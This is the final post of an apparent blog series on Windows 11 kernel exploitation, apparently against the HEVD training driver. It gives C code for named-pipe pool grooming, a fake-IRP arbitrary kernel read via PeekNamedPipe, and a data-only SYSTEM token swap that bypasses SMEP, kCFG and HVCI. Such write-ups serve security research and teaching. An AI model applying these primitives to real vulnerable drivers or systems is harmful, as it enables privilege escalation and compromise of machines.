In Part 3, I successfully groomed the Windows 11 Non-Paged Pool and leaked a DATA_QUEUE_ENTRY (DQE) structure. However, I hit a wall: the leaked structure lacked a self-pointer, leaving me without a target address for the WWW primitive.
To turn the memory disclosure into a weaponized Arbitrary Read, I’ll need to solve two major problems:
In this final post, I will implement a double-pipe technique to resolve pool addresses mathematically, bypass IoCompleteRequest() crashes using PeekNamedPipe, and execute a pure Data-Only privilege escalation to steal the SYSTEM token.
Once the memory disclosure successfully reads past the buffer boundary into an adjacent Named Pipe allocation, parse those leaked bytes into a candidate structure representing the kernel’s Data Queue Entry (DATA_QUEUE_ENTRY / DQE):
typedef struct {
SIZE_T hdrOffset;
SIZE_T dataOffset;
ULONG64 flink;
ULONG64 blink;
ULONG64 irp;
ULONG32 entryType;
ULONG32 dataSize;
int pipeIdx;
} CANDIDATE;

Leaked Pipe data.
At first glance, dumping a live kernel structure feels like a massive win. But when you analyze what is actually sitting inside these fields, reality sets in: this raw leak is useless on its own.
When inspecting the leaked pointers, you will immediately notice that flink and blink hold identical 64-bit addresses.
This happens because of how npfs.sys manages data queues. When a named pipe contains only a single queued entry (the payload I just sprayed), its forward link and backward link both point directly back to the LIST_ENTRY head stored inside the pipe’s internal Control Channel Block (CCB) header.
While this leaks a valid kernel address inside npfs.sys memory, it tells nothing about where the target process structures live.
Even though I possess an Arbitrary Write primitive, I do not know the kernel address of the DQE itself.
The DQE structure contains internal offsets and list pointers, but it does not contain a self-referential pointer to its own allocation base in the Non-Paged Pool. To use an arbitrary write primitive (*Where = *What), I must provide an explicit destination address. Without knowing DqeAddr, I cannot tell the driver where to write in memory to modify this DQE.
Even if I could blindly guess where the the object lives, what would I even overwrite?
A leak alone is not enough, and a write alone is not enough. I must combine the arbitrary write with the leaked pipe structure to construct a true Arbitrary Read Primitive.
To build an arbitrary kernel read, you have to look closely at how the Named Pipe file system driver handles incoming read operations when user-mode requests data from a pipe.
Inside npfs.sys, a DATA_QUEUE_ENTRY can operate in two distinct modes, controlled by the entryType field:
[ DQE Structure ]
entryType = 1 (Unbuffered)
irp ───────────────> [ Fake _IRP Structure ]
+0x00: Header / Type
+0x18: SystemBuffer ───> Target Kernel Address (0xFFFF...)
│
▼
[ npfs.sys reads from here! ]
When a standard read request (such as a call to ReadFile) reaches an unbuffered named pipe, npfs.sys executes the following sequence:
This behavior gives us a clear mechanism: if I can craft a fake IRP in memory, set its SystemBuffer pointer to an address I want to inspect, update DQE->irp to point to the fake structure, and flip entryType to 1, issuing a standard ReadFile call will force npfs.sys to dereference the target pointer and hand us arbitrary kernel memory.
The logic behind the unbuffered IRP read is sound, but attempting to execute it immediately exposes a critical bottleneck: I don’t know where the DQE lives in memory.
While the out-of-bounds memory disclosure successfully dumped the contents of the adjacent DQE into user-mode, the DQE structure does not contain a self-pointer. It knows its internal offsets and payload length, but it has no field telling us its own base allocation address in the Non-Paged Pool.
To solve this I need a way to force npfs.sys to leak an absolute pool pointer to a DQE structure directly into a user-mode leak buffer.
When a named pipe holds only a single data entry, its doubly-linked list (LIST_ENTRY) is trivial: flink and blink both point to the pipe’s internal Control Channel Block (CCB) list head. They never point to a DQE.
However, if I push two distinct data payloads into the exact same named pipe handle, npfs.sys links the two entries together:
┌─────────────────────────────────────────┐
│ CCB (List Head) │
└─────────────────────────────────────────┘
▲ │
(DQE1.blink) │ │ (DQE2.flink)
│ ▼
┌─────────────────────────┐ ┌─────────────────────────┐
│ DQE 1 │ │ DQE 2 │
│ │ │ │
│ flink ─────────────────┼────>│ (Points to DQE 2!) │
│ │ │ │
│ (Points to DQE 1!) │<────┼───────────────── blink │
└─────────────────────────┘ └─────────────────────────┘
If the out-of-bounds memory disclosure spans across adjacent pool allocations that contain both entries from a double-buffered pipe, it’ll leak two candidate structures that point directly at each other.
To set up this layout, I need to adjust the heap spraying strategy. First prime the heap with single allocations to fill organic fragmentation holes. Once the pool is stable, spray double-buffered pipes.
Each pipe pair receives two sequential writes, tagged with unique index identifiers (e.g., i and i | 0x80000000) so I can verify their relationship when parsing the leak:
static int SprayDoublePipes(PIPE_PAIR* pipes, int count, char* dataTemplate, DWORD len) {
int live = 0;
for (int i = 0; i < count; i++) {
if (!OpenPipePair(&pipes[i])) continue;
/* Write First Entry (DQE1) */
*(int*)(dataTemplate + INDEX_OFFSET) = i;
if (!WritePipe(pipes[i].write, dataTemplate, len)) {
ClosePipePair(&pipes[i]);
continue;
}
/* Write Second Entry (DQE2) into the SAME pipe handle */
*(int*)(dataTemplate + INDEX_OFFSET) = i | 0x80000000;
if (!WritePipe(pipes[i].write, dataTemplate, len)) {
ClosePipePair(&pipes[i]);
continue;
}
live++;
}
return live;
}
By pushing two payloads into every sprayed pipe, I can saturate the non-paged pool with linked DQE pairs.
Once the driver’s memory disclosure bug triggers and returns a buffer of leaked pool data, scan the dump for candidate DQEheaders. If the out-of-bounds read captured a multi-entry pipe, scanning will yield at least two candidate structures (candCount >= 2):
/* ---- Scan Leaked Memory ---- */
int candCount = ScanLeak(leakBuf, LEAK_SIZE, pipeData, 32, candidates, MAX_CANDIDATES);
printf("[+] Found %d candidate(s)\n", candCount);
if (candCount < 2) {
printf("[-] Not enough candidates\n");
goto cleanup;
}
ULONG64 leakBase = 0, dqe1 = 0, dqe2 = 0, queueHead = 0;
int pipeIdx = -1;
if (!FindMultiEntryPair(candidates, candCount, &leakBase, &dqe1, &dqe2, &queueHead, &pipeIdx)) {
printf("[-] No multi-entry pair found\n");
goto cleanup;
}
To extract the exact kernel virtual addresses, pass the candidates into FindMultiEntryPair. This function cross-references the leaked pointers to validate the structure layout and resolve the absolute pool base:
static BOOL FindMultiEntryPair(CANDIDATE* cands, int count,
ULONG64* outLeakBase, ULONG64* outDqe1,
ULONG64* outDqe2, ULONG64* outQueueHead,
int* outPipeIdx)
{
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
if (i == j) continue;
/* Check if DQE1.blink and DQE2.flink both point to the same CCB ListHead */
if (cands[i].blink != cands[j].flink) continue;
/* Extract raw kernel addresses directly from the list pointers */
ULONG64 dqe1Addr = cands[j].blink;
ULONG64 dqe2Addr = cands[i].flink;
/* Deduce allocation base address using relative header offsets */
ULONG64 base1 = dqe2Addr - cands[j].hdrOffset;
ULONG64 base2 = dqe1Addr - cands[i].hdrOffset;
/* Verify mathematical consistency (pointer delta == offset delta) and canonical range */
if (base1 != base2 || base1 < 0xFFFF800000000000ULL) continue;
*outLeakBase = base1;
*outDqe1 = dqe1Addr;
*outDqe2 = dqe2Addr;
*outQueueHead = cands[i].blink;
*outPipeIdx = cands[i].pipeIdx;
return TRUE;
}
}
return FALSE;
}
The dependency loop is broken. I now possess the exact, absolute 64-bit kernel virtual address of a controllable DQE structure (DqeAddr), giving the Arbitrary Write primitive a concrete target to craft an unbuffered IRPread.
With the double-pipe grooming technique successfully resolving the absolute kernel address of the DQE (DqeAddr), the final piece of the arbitrary read puzzle appears to be in place.
I just carve a minimal fake _IRP, point SystemBuffer to the desired kernel read address, update DQE.irp to point to the fake structure, flip DQE.entryType to 1 (Unbuffered), and invoke ReadFile:
static BOOL KernelRead(HANDLE hHevd, HANDLE hPipeRead, ULONG64 DqeAddr,
ULONG64 TargetKernelAddr, PVOID OutBuf, ULONG ReadSize)
{
BOOL sizePatched = FALSE;
BOOL ok = FALSE;
DWORD got = 0;
ULONG64 fakeIrp[0x20] = {0};
fakeIrp[3] = TargetKernelAddr;
ULONG64 FakeIrpUserVa = (ULONG64)fakeIrp;
if (!ArbitraryWrite8(hHevd, DqeAddr + 0x10, FakeIrpUserVa)) return FALSE;
if (ReadSize > PIPE_DATA_SIZE) {
if (!ArbitraryWrite8(hHevd, DqeAddr + 0x28, (ULONG64)ReadSize)) goto cleanup;
sizePatched = TRUE;
}
if (!ArbitraryWrite8(hHevd, DqeAddr + 0x20, 0x000001C800000001ULL)) goto cleanup;
ok = ReadFile(hPipeRead, OutBuf, ReadSize, &got, NULL);
ok = ok && (got == ReadSize);
cleanup:
ArbitraryWrite8(hHevd, DqeAddr + 0x20, 0x000001C800000000ULL);
ArbitraryWrite8(hHevd, DqeAddr + 0x10, 0ULL);
if (sizePatched) {
ArbitraryWrite8(hHevd, DqeAddr + 0x28, PIPE_DATA_SIZE);
}
return ok;
}
The code executes, memory is copied… and the system immediately crashes with BugCheck 0x44: MULTIPLE_IRP_COMPLETE_REQUESTS.

To understand why this crash occurs, I must trace what happens inside npfs.sys when ReadFile processes an unbuffered queue entry.
When the API is called on a named pipe handle, the I/O Manager routes the request to npfs!NpReadDataQueue.
ReadFile()
│
▼
npfs!NpReadDataQueue
│
├─> Sees entryType == 1 (Unbuffered)
├─> Dereferences DQE.irp -> Reads TargetKernelAddr from SystemBuffer
├─> Copies memory to user-space OutBuf
│
▼ (Dequeues the entry & finishes the operation)
IoCompleteRequest(FakeIrp)
│
▼
BSOD: MULTIPLE_IRP_COMPLETE_REQUESTS (0x44)
This is where the kernel crashes. IoCompleteRequest() expects a fully-formed, genuine kernel _IRP object populated with valid I/O stack locations, thread references, cancel routines, and state flags.
Because the carved “fake IRP” is merely a 32-byte skeleton sitting inside a raw pool buffer, IoCompleteRequest() inspects its state, detects invalid or missing completion flags, and assumes an IRP has been completed multiple times or corrupted. The kernel immediately panics, issuing a bugcheck to halt the system.
The core problem is not a fake _IRP layout, it is the fact that ReadFile completes and dequeues the request, forcing npfs.sys to invoke IoCompleteRequest().
To perform the arbitrary kernel read without triggering IRP completion, simply replace ReadFile with PeekNamedPipe.
PeekNamedPipe()
│
▼
npfs!NpPeekDataQueue
│
├─> Sees entryType == 1 (Unbuffered)
├─> Dereferences DQE.irp -> Reads TargetKernelAddr from SystemBuffer
├─> Copies memory to user-space OutBuf
│
▼ (Leaves entry in queue!)
Returns successfully to user-mode (IoCompleteRequest NEVER called)
Once PeekNamedPipe finishes copying the target memory, step 6 of the function executes: I simply use the arbitrary write to immediately restore DQE.entryType back to 0 (Buffered) and clear DQE.irp back to 0.
When the pipe is later closed or freed, npfs.sys sees a standard buffered entry and cleans it up normally, completely bypassing IoCompleteRequest and achieving a stable, repeatable arbitrary kernel read primitive.

Reading the kernel base correctly reveals the MS-Dos header
With an arbitrary read primitive and an arbitrary write primitive, traditional kernel exploitation would historically try to hijack control flow: overwriting a function pointer, disabling SMEP (Supervisor Mode Execution Prevention), and executing kernel shellcode.
However, modern mitigations like SMEP, SMAP, kCFG (Kernel Control Flow Guard), and HVCI (Hypervisor-Protected Code Integrity) make executing user-space code from the kernel or altering kernel execution paths extremely difficult.
Data-Only Attacks completely bypass these mitigations. You never redirect execution flow or touch executable memory. Instead, use the primitives to modify pure kernel data structures; specifically, swapping the Security Token pointer of the unprivileged process with that of the SYSTEM process.
Before I can locate process structures in kernel memory, i need a reliable entry point into the kernel’s process list. The global kernel variable nt!PsInitialSystemProcess holds a direct pointer to the SYSTEM process’s _EPROCESS structure.
While I could hardcode an RVA offset from ntoskrnl base (K_BASE + PS_INITIAL_RVA), hardcoded offsets break across minor Windows builds and updates. FindPsInitialSystemProcess solves this by programmatically parsing ntoskrnl.exe’s PE export table in kernel memory.
[ntoskrnl Base Address]
│
▼
[DOS Header] ──> e_lfanew ──> [NT Headers]
│
▼
[Export Data Directory]
│
┌─────────────────────────┼─────────────────────────┐
▼ ▼ ▼
[Address Table] [Name Table] [Ordinal Table]
│
Scans for string:
"PsInitialSystemProcess"
Once PsInitialSystemProcess is resolved, reading its address gives me the absolute kernel virtual address of the SYSTEM process’s _EPROCESS block.
SYSTEM EPROCESS Target EPROCESS
┌──────────────────┐ ┌──────────────────┐
│ UniqueProcessId │ = 4 │ UniqueProcessId │ = 1234
│ │ │ │
│ ActiveProcessLinks │ ActiveProcessLinks
│ Flink ─────────┼────── ... ───────►│ Flink ─────────┼─────► (Loop back)
│ Blink ◄────────┼────── ... ────────┼── Blink │
│ │ │ │
│ Token │ ──► [SYSTEM] │ Token │ ──► [User]
└──────────────────┘ └──────────────────┘
FindOurEprocess iterates through the circular list to find my own process structure:
With both SYSTEM EPROCESS and EPROCESS located, the final step is stealing the SYSTEMsecurity token.
In 64-bit Windows kernels, the _EPROCESS.Tokenmember (+0x248) is not a raw object pointer. It is stored as an EX_FAST_REFstructure, which combines an object pointer with a fast reference count packed into the lowest 4 bits (nibble).
64-bit EX_FAST_REF Structure:
┌─────────────────────────────────────────────────────────┬──────────┐
│ Kernel Address Bits (Bits 63..4) │ RefCount │
│ 0xFFFF800712345670 │ 0x1 │
└─────────────────────────────────────────────────────────┴──────────┘
When updating the token pointer, I must preserve the target process’s existing reference count bits (ourToken & 0xF). If I clear or overwrite these bits incorrectly, the object manager will mismatch reference counts during process termination or handle allocation, resulting in a crash.
/* 1. Read SYSTEM Token pointer */
ULONG64 sysToken = KernelRead64(hHevd, hPipeRead, DqeAddr, systemProc + EPROCESS_TOKEN_OFFSET);
/* 2. Read the current Token pointer */
ULONG64 ourToken = KernelRead64(hHevd, hPipeRead, DqeAddr, ourProc + EPROCESS_TOKEN_OFFSET);
/* 3. Combine SYSTEM pointer address with the local fast-ref bits */
ULONG64 newToken = (sysToken & ~0xF) | (ourToken & 0xF);
/* 4. Overwrite the EPROCESS.Token with the forged value */
ArbitraryWrite8(hHevd, ourProc + EPROCESS_TOKEN_OFFSET, newToken);

By keeping execution entirely within valid paths and manipulating pure data structures, I completely bypassed modern Windows 11 protections like SMEP, SMAP, kCFG, and HVCI.
Across this four-part series, I progressed from classic control flow hijacking to modern pool grooming:
Data-only attacks demonstrate that even when executable code integrity is strictly enforced by the hypervisor, control over pure data structures remains one of the most lethal primitives in kernel exploitation.